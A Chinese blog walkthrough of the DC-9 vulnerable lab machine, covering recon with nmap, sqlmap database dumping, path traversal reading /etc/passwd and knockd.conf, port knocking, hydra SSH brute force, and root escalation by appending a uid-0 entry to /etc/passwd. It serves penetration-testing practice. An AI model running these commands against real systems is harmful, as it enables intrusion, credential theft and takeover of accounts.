靶机10 DC-9(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-9(包含1个flag)

下载地址:

DC: 8 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-9 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-9和kali在同一网段 | 已知DC-9所在的网段

—— DC-9 IP地址:192.168.108.141/24

3.1信息收集

获取DC-9的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-9的IP地址是:192.168.108.142/24

端口扫描

命令:nmap -T5 -sV -p- -A 192.168.108.142

//-sV:探测打开的端口以确定服务/版本信息,-p-:全端口扫描,-O:启用操作系统检测

//-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描

//-T[0-5]:设置时间模板(越高越快),-A:启用操作系统检测和版本检测

获取信息如下(操作系统:Linux 3.2-4.9):

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.38

操作系统:Linux 3.2 - 4.9

3.2    渗透测试

查看80端口,目录扫描

80端口,是一个这样的页面,其中还有4个选项,依次点开以后并没有什么发现,但是它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:

目录扫描

dirb http://dc-9

这里没什么发现,回到前面的web网页,可以从那四个页面入手

可以看到是一个搜索的页面和一个登录的页面,直接burp抓包使用sqlmap尝试有没有sql注入的漏洞

http://192.168.108.142/search.php

http://192.168.108.142/manage.php

sqlmap -r dc9-search.txt

sqlmap -r dc9-search.txt --current-db

sqlmap -r dc9-search.txt --tables -D "Staff"

sqlmap -r dc9-search.txt --columns -T "Users" -D "Staff"

sqlmap -r dc9-search.txt --dump -C "UserID,Username,Password" -T "Users" -D "Staff"

所以在这里我们直接获取到了一个用户数据(admin、856f5de590ef37314e7c3bdf6f8a66dc)

尝试md5解密(https://www.somd5.com/),得到admin的密码(transorbital1)

尝试直接ssh登录和web登录(admin、transorbital1)

登录之后发现可以添加用户,而且最底下一直有文件不存在的提示,尝试是否存在文件包含的漏洞

http://192.168.108.142/manage.php?file=../../../../etc/passwd (?file=../../../../etc/passwd)

结果发现可以读到passwd文件

这里发现了很多的账号,然后回去到数据库sql注入里面查看有没有线索

sqlmap -r dc9-search.txt --dbs

sqlmap -r dc9-search.txt --tables -D "users"

sqlmap -r dc9-search.txt --columns -T "UserDetails" -D "users"

sqlmap -r dc9-search.txt --dump -C "username,password" -T "UserDetails" -D "users"

将用户名和密码数据分别存储两个文件里(充当暴力破解的字典),后续八成是需要ssh爆破连接的

但是这里 ssh 的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd(保证指定端口)的配置文件(/etc/knockd.conf)

补充

knockd

目的:使用 knockd 保护指定端口

作用:使用者连线前必须先依序 '敲击' 指定端口 (port knocking), knockd 才开放受到保护的埠口

用法:配置文件路径 /etc/knockd.conf

http://192.168.108.142/manage.php?file=../../../../etc/knockd.conf

按照要求的顺序敲击端口

        nc 192.168.108.142 7469

        nc 192.168.108.142 8475

        nc 192.168.108.142 9842

可以看到使用 openSSH 的敲门顺序之后可以正常进行ssh连接了

使用前面制作的字典对ssh进行爆破

hydra -L username -P password ssh://192.168.108.142

得到了三个账号密码:

账号:

密码:

1、chandlerb

UrAG0D!

2、joeyt

Passw0rd

3、janitor

Ilovepeepee

分别登陆进行查看

  1. ssh chandlerb@192.168.108.142(UrAG0D!)
  2. ssh joeyt@192.168.108.142(Passw0rd)
  3. ssh janitor@192.168.108.142(Ilovepeepee)
  • cd /home/用户名(进入该用户名的家目录)
  • ls -al(查看隐藏文件)

将获取到的密码加入到之前的密码本(password)中并重新爆破

hydra -L /root/Desktop/username -P /root/Desktop/password ssh://192.168.108.142

这里又跑出来了一组账号密码(fredf、B4-Tru3-001)

ssh fredf@192.168.108.142(B4-Tru3-001)

sudo -l(查看有没有可以进行sudo提权的地方)

代码审计

        判断是否有三个参数,没有的话输出Usage: python test.py read append,然后停止执行

        第二个参数是读取第二个参数文件中的内容

        第三个参数是把读取的内容写到第三个参数文件中(a是追加)

简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权

原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败

        echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' > /tmp/NB

直接进行提权

原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0的用户条目

使用:

        首先我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

                openssl passwd -1 -salt NB 123456

                echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' > /tmp/NB

                sudo 执行py脚本,将生成的账户条目写入 /etc/passwd 文件中

                sudo ./test /tmp/NB /etc/passwd

                tac /etc/passwd

解释:

  1. 按照linux用户机制,如果没有shadow条目,且passwd用户密码条目有密码的时候,可以本地su 使用passwd里面的密码登录。由于这个用户的uid为0,所以也是root权限
  2. passwd文件每一行的格式如下:
    • 用户名:密码(hash):uid:gid:说明:家目录:登陆后使用的shell
    • NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.::0:0:root:/bin/bash
  3. 生成密码并将账号条目写入/etc/passwd文件中

su -NB

可以看到在执行完指令之后直接变为了root(超户),提权成功

补充:

引言:在Linux系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。

作用:openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

        -1:表示采用的是MD5加密算法。

        -salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:[tom@localhost ~]$ openssl passwd -1 -salt '12345678'  ##注意‘12345678’不是密码而是密码的长度

理解:

  1. NB:::0:0:root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
  2. 计算密码( openssl passwd -1 -salt NB 123456 ):$1$NB$Q77eUcGSxvhAhfrqYXDxg.

将 NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.::0:0:root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会只判断/etc/passwd 文件中的密码然后进行su切换用户

  • 7
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值